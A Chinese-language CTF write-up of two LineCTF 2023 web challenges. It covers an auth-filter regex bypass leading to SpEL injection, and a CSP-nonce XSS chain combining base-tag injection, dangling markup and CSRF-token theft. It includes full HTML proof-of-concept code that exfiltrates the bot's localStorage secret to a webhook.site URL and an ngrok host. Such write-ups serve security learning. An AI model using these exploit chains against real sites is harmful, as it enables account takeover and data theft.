an4er

Want to be a Ctfer, Developer, Red Team


LineCTF2023 复现

Published April 11, 2023

SafeNote

查看路由,发现在admin的controller下存在/feature路由可以执行spel表达式

image-20230327204134114

那么问题来到怎么去获得admin的权限,在spel路由的上面有一个

image-20230327214022459

如果从请求头中获得的Authorization解码后不为USER即可返回JWT key,尝试删除Authorization,访问,但是被filter给拦住,查看config,有如下匹配

image-20230327213949589

符合路径的会在请求到达路由前检查请求头。所以我们需要绕过这个正则,使用%0a可以截断绕过

image-20230327220617335

然后利用这key去签名即可

image-20230327222710707

Another Secure Store Note

查看附件发现flag放在botlocalStorage中,然后登录后的用户名中存在XSS,但是被CSP限制了

image-20230328202126602

我们需要有nonce才能执行XSS,因为nonce是随机生成的,然后访问/profile时会访问/csp.gif刷新nonce,为防止nonce刷新,第一个想到的是去修改它的base uri ,又因为base-uriself,所以使用base设置随意的路径来阻断

<base href='https://35.200.57.143:11004/a/'>

然后查看前端,为了执行getSettings.js,使用如下一条语句

image-20230328202847588

我们需要的nonce明文储存在前端,尝试使用Dangling Markup来外带代码,但是更改用户名需要_csrf,所以我们需要最后一步偷到_csrf来串起来。在getSettings.js文件中会为前端填入csrf,所以我们只要执行getSettings.js便能得到对应的_csrf然后直接发送给/porfile即可改名

因为Worker 线程所在的全局对象,与主线程不一样,无法读取主线程所在网页的 DOM 对象,也无法使用documentwindowparent这些对象。

所以在isInWindowContext()中,该函数的实现方式依赖于 self 在当前执行环境中指向的对象与全局作用域中的 self 对象不同这一事实,因此可以通过改变 self 的值来判断当前执行环境是否为浏览器窗口上下文。断绝了使用web worker的使用。这里huli师傅用的Object.defineProperty去直接覆盖document.domain的值,得改名的poc:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <script>
        Object.defineProperty(document, 'domain', {
            value: '35.200.57.143'
        })
    </script>
    <input id="_csrf" />
    <script src="https://35.200.57.143:11004/getSettings.js"></script>
    <form id=f method=POST action="https://35.200.57.143:11004/profile" target="_blank">
        <input name="name" value="poc">
        <input name="csrf" value="">
    </form>

    <script>
        const csrf = _csrf.value
        f.csrf.value = csrf
        f.submit()
    </script>
</body>
</html>

然后构造脚本使其在一个请求中完成

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <script>
        Object.defineProperty(document, 'domain', {
            value: '35.200.57.143'
        })
    </script>
    <input id="_csrf" />
    <script src="https://35.200.57.143:11004/getSettings.js"></script>
    <form id=f method=POST action="https://35.200.57.143:11004/profile" target="_blank">
        <input name="name" value="">
        <input name="csrf" value="">
    </form>

    <script>
        const csrf = _csrf.value
        f.csrf.value = csrf
        f.name.value = "<base href='https://35.200.57.143:11004/a/'><meta http-equiv=\"refresh\" content='0; url=https://27be-182-150-123-102.ap.ngrok.io/?a="
        setTimeout(() => {
            f.submit()
        }, 400)

        function poll() {
            fetch('https://27be-182-150-123-102.ap.ngrok.io/nonce')
              .then(res => res.text())
              .then(nonce => {
                  if (!nonce) {
                    return setTimeout(poll, 100)
                  }
                  f.name.value = `<script nonce=${nonce}>
                    location = 'https://webhook.site/52303597-727c-4c31-adc8-81721b8974a2?flag='+localStorage.getItem('secret')<\/script>`
                  f.submit()
            })
        }
        poll()
    </script>
</body>
</html>

image-20230329003530662